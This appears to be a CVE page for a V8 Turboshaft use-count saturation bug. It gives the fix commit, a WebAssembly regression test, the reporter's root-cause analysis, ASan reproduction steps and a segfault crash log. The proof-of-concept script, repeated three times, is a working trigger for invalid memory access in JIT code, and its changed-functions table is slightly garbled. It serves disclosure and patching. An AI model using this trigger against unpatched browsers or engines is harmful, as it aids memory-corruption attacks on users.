CVE-2026-4457
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
fortest/mjsunit/wasm/regress-488803413.js |
modified | |
iftest/mjsunit/wasm/regress-488803413.js |
modified |
Files Changed
src/compiler/turboshaft/operations.cctest/mjsunit/wasm/regress-488803413.js
Patch
From 23ec84a323a2af8fcbbcdf37be3ea28a1c77f57b Mon Sep 17 00:00:00 2001
From: Darius Mercadier <dmercadier@chromium.org>
Date: Mon, 02 Mar 2026 13:14:22 +0100
Subject: [PATCH] [turboshaft] Take use-count saturation into account in IsOnlyUserOf
Fixed: 488803413
Change-Id: I7cf0911de2338144e2d972a53c5787f186b43623
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7623257
Auto-Submit: Darius Mercadier <dmercadier@chromium.org>
Reviewed-by: Nico Hartmann <nicohartmann@chromium.org>
Commit-Queue: Nico Hartmann <nicohartmann@chromium.org>
Cr-Commit-Position: refs/heads/main@{#105521}
---
diff --git a/src/compiler/turboshaft/operations.cc b/src/compiler/turboshaft/operations.cc
index 4da92e5..76d8e9c 100644
--- a/src/compiler/turboshaft/operations.cc
+++ b/src/compiler/turboshaft/operations.cc
@@ -2365,6 +2365,7 @@
DCHECK_GE(std::count(inputs().begin(), inputs().end(), graph.Index(value)),
1);
if (value.saturated_use_count.IsOne()) return true;
+ if (value.saturated_use_count.IsSaturated()) return false;
return std::count(inputs().begin(), inputs().end(), graph.Index(value)) ==
value.saturated_use_count.Get();
}
diff --git a/test/mjsunit/wasm/regress-488803413.js b/test/mjsunit/wasm/regress-488803413.js
new file mode 100644
index 0000000..fe7f7fd
--- /dev/null
+++ b/test/mjsunit/wasm/regress-488803413.js
@@ -0,0 +1,78 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --no-liftoff
+
+d8.file.execute("test/mjsunit/wasm/wasm-module-builder.js");
+
+let emit_leb = (v) => {
+ let res = [];
+ do {
+ let byte = v & 0x7f;
+ v >>= 7;
+ if (v !== 0) byte |= 0x80;
+ res.push(byte);
+ } while (v !== 0);
+ return res;
+};
+
+let builder = new WasmModuleBuilder();
+let structType = builder.addStruct([makeField(kWasmI32, true)]);
+builder.addGlobal(wasmRefNullType(structType), true, false).exportAs("g0");
+builder.addGlobal(wasmRefNullType(structType), true, false).exportAs("g1");
+
+let body = [];
+
+body.push(kExprGlobalGet, 0, kExprLocalSet, 1);
+
+for (let i = 0; i < 100; i++) {
+ body.push(kExprLocalGet, 1, kGCPrefix, kExprStructGet, structType, 0, kExprDrop);
+}
+
+body.push(kExprGlobalGet, 1, kExprLocalSet, 2);
+
+body.push(kExprBlock, kWasmRefNull, structType);
+
+for (let i = 0; i < 256; i++) {
+ body.push(kExprBlock, kWasmVoid);
+}
+
+body.push(kExprLocalGet, 0, kExprBrTable);
+body.push(...emit_leb(255));
+for (let i = 0; i < 255; i++) {
+ body.push(...emit_leb(i + 1));
+}
+body.push(...emit_leb(0));
+
+for (let i = 255; i >= 0; i--) {
+ body.push(kExprEnd);
+ if (i === 0) {
+ body.push(kExprLocalGet, 2, kExprBr, ...emit_leb(i));
+ } else {
+ body.push(kExprLocalGet, 1, kExprBr, ...emit_leb(i));
+ }
+}
+
+body.push(kExprEnd, kGCPrefix, kExprStructGet, structType, 0);
+
+builder.addFunction("trigger", makeSig([kWasmI32], [kWasmI32]))
+ .addLocals(wasmRefNullType(structType), 3)
+ .addBody(body).exportFunc();
+
+builder.addFunction("create", makeSig([], []))
+ .addBody([
+ kExprI32Const, 42,
+ kGCPrefix, kExprStructNew, structType,
+ kExprGlobalSet, 0,
+ kExprI32Const, 43,
+ kGCPrefix, kExprStructNew, structType,
+ kExprGlobalSet, 1
+ ]).exportFunc();
+
+let instance = builder.instantiate({});
+instance.exports.create();
+
+for (let i = 0; i <= 255; i++) {
+ try { instance.exports.trigger(i); } catch(e) {}
+}
Regression Test / PoC
diff --git a/test/mjsunit/wasm/regress-488803413.js b/test/mjsunit/wasm/regress-488803413.js
new file mode 100644
index 0000000..fe7f7fd
--- /dev/null
+++ b/test/mjsunit/wasm/regress-488803413.js
@@ -0,0 +1,78 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --no-liftoff
+
+d8.file.execute("test/mjsunit/wasm/wasm-module-builder.js");
+
+let emit_leb = (v) => {
+ let res = [];
+ do {
+ let byte = v & 0x7f;
+ v >>= 7;
+ if (v !== 0) byte |= 0x80;
+ res.push(byte);
+ } while (v !== 0);
+ return res;
+};
+
+let builder = new WasmModuleBuilder();
+let structType = builder.addStruct([makeField(kWasmI32, true)]);
+builder.addGlobal(wasmRefNullType(structType), true, false).exportAs("g0");
+builder.addGlobal(wasmRefNullType(structType), true, false).exportAs("g1");
+
+let body = [];
+
+body.push(kExprGlobalGet, 0, kExprLocalSet, 1);
+
+for (let i = 0; i < 100; i++) {
+ body.push(kExprLocalGet, 1, kGCPrefix, kExprStructGet, structType, 0, kExprDrop);
+}
+
+body.push(kExprGlobalGet, 1, kExprLocalSet, 2);
+
+body.push(kExprBlock, kWasmRefNull, structType);
+
+for (let i = 0; i < 256; i++) {
+ body.push(kExprBlock, kWasmVoid);
+}
+
+body.push(kExprLocalGet, 0, kExprBrTable);
+body.push(...emit_leb(255));
+for (let i = 0; i < 255; i++) {
+ body.push(...emit_leb(i + 1));
+}
+body.push(...emit_leb(0));
+
+for (let i = 255; i >= 0; i--) {
+ body.push(kExprEnd);
+ if (i === 0) {
+ body.push(kExprLocalGet, 2, kExprBr, ...emit_leb(i));
+ } else {
+ body.push(kExprLocalGet, 1, kExprBr, ...emit_leb(i));
+ }
+}
+
+body.push(kExprEnd, kGCPrefix, kExprStructGet, structType, 0);
+
+builder.addFunction("trigger", makeSig([kWasmI32], [kWasmI32]))
+ .addLocals(wasmRefNullType(structType), 3)
+ .addBody(body).exportFunc();
+
+builder.addFunction("create", makeSig([], []))
+ .addBody([
+ kExprI32Const, 42,
+ kGCPrefix, kExprStructNew, structType,
+ kExprGlobalSet, 0,
+ kExprI32Const, 43,
+ kGCPrefix, kExprStructNew, structType,
+ kExprGlobalSet, 1
+ ]).exportFunc();
+
+let instance = builder.instantiate({});
+instance.exports.create();
+
+for (let i = 0; i <= 255; i++) {
+ try { instance.exports.trigger(i); } catch(e) {}
+}
Original Bug Report
Turboshaft saturated use-count misclassification causes Wasm compressed/tagged base mismatch SIGSEGV
VULNERABILITY DETAILS
Summary
A Turboshaft use-count saturation bug in Operation::IsOnlyUserOf causes incorrect ownership conclusions once an operation’s use count saturates at 255. In the WebAssembly decompression optimization path, this can keep a Phi value compressed while one of its inputs must remain tagged, producing a representation mismatch and invalid x64 addressing during generated code execution.
Detail
Root cause is in src/compiler/turboshaft/operations.cc:
bool Operation::IsOnlyUserOf(const Operation& value, const Graph& graph) const {
DCHECK_GE(std::count(inputs().begin(), inputs().end(), graph.Index(value)), 1);
if (value.saturated_use_count.IsOne()) return true;
return std::count(inputs().begin(), inputs().end(), graph.Index(value)) ==
value.saturated_use_count.Get();
}
value.saturated_use_count is SaturatedUint8 (src/compiler/turboshaft/operations.h) and saturates at 255. When the true use count is greater than 255, Get() still returns 255. If a specific user (here, a Phi) references the value exactly 255 times, IsOnlyUserOf returns true even though other users still exist.
This incorrect result is consumed in src/compiler/turboshaft/decompression-optimization.cc by DecompressionAnalyzer::MarkAddressingBase:
if (!input.Is<LoadOp>() || !base.IsOnlyUserOf(input, graph) ||
!input.Cast<LoadOp>().loaded_rep.IsCompressibleTagged()) {
keep_compressed = false;
break;
}
For the crafted Wasm graph, one LoadOp is used 355 times total (255 in the Phi + 100 elsewhere). Due to saturation, IsOnlyUserOf misreports sole ownership and the Phi is kept Compressed, while the same LoadOp still has other uses requiring tagged handling. That inconsistency propagates into instruction selection and register allocation, producing generated code that treats a full tagged pointer as a compressed-offset operand in a complex addressing form, leading to immediate invalid memory access in JIT code.
VERSION
V8 Commit: 7f3825903cdc2eb341462710172b73dc5ca9215d
ENVIRONMENT SETUP
Release ASan:
gn gen out/release_asan --args='is_asan=true is_debug=false v8_enable_test_features=false symbol_level=1'
ninja -C out/release_asan d8
REPRODUCTION CASE
- Save PoC as
repro.js:
d8.file.execute("test/mjsunit/wasm/wasm-module-builder.js");
let emit_leb = (v) => {
let res = [];
do {
let byte = v & 0x7f;
v >>= 7;
if (v !== 0) byte |= 0x80;
res.push(byte);
} while (v !== 0);
return res;
};
let builder = new WasmModuleBuilder();
let structType = builder.addStruct([makeField(kWasmI32, true)]);
builder.addGlobal(wasmRefNullType(structType), true, false).exportAs("g0");
builder.addGlobal(wasmRefNullType(structType), true, false).exportAs("g1");
let body = [];
body.push(kExprGlobalGet, 0, kExprLocalSet, 1);
for (let i = 0; i < 100; i++) {
body.push(kExprLocalGet, 1, kGCPrefix, kExprStructGet, structType, 0, kExprDrop);
}
body.push(kExprGlobalGet, 1, kExprLocalSet, 2);
body.push(kExprBlock, kWasmRefNull, structType);
for (let i = 0; i < 256; i++) {
body.push(kExprBlock, kWasmVoid);
}
body.push(kExprLocalGet, 0, kExprBrTable);
body.push(...emit_leb(255));
for (let i = 0; i < 255; i++) {
body.push(...emit_leb(i + 1));
}
body.push(...emit_leb(0));
for (let i = 255; i >= 0; i--) {
body.push(kExprEnd);
if (i === 0) {
body.push(kExprLocalGet, 2, kExprBr, ...emit_leb(i));
} else {
body.push(kExprLocalGet, 1, kExprBr, ...emit_leb(i));
}
}
body.push(kExprEnd, kGCPrefix, kExprStructGet, structType, 0);
builder.addFunction("trigger", makeSig([kWasmI32], [kWasmI32]))
.addLocals(wasmRefNullType(structType), 3)
.addBody(body).exportFunc();
builder.addFunction("create", makeSig([], []))
.addBody([
kExprI32Const, 42,
kGCPrefix, kExprStructNew, structType,
kExprGlobalSet, 0,
kExprI32Const, 43,
kGCPrefix, kExprStructNew, structType,
kExprGlobalSet, 1
]).exportFunc();
let instance = builder.instantiate({});
instance.exports.create();
for (let i = 0; i <= 255; i++) {
try { instance.exports.trigger(i); } catch(e) {}
}
console.log("SUCCESS");
- Run:
out/release_asan/d8 --no-liftoff repro.js
CRASH LOG
Received signal 11 <unknown> 000000000000
==== C stack trace ===============================
out/release_asan/d8(__interceptor_backtrace+0x46)[0x61f78f250b86]
out/release_asan/d8(+0x62df500)[0x61f7941ab500]
/lib/x86_64-linux-gnu/libc.so.6(+0x45330)[0x73fbf3245330]
[0x7eba3ebd0bb4]
[end of stack trace]
CREDIT INFORMATION
Reporter credit: Zhenpeng (Leo) Lin at depthfirst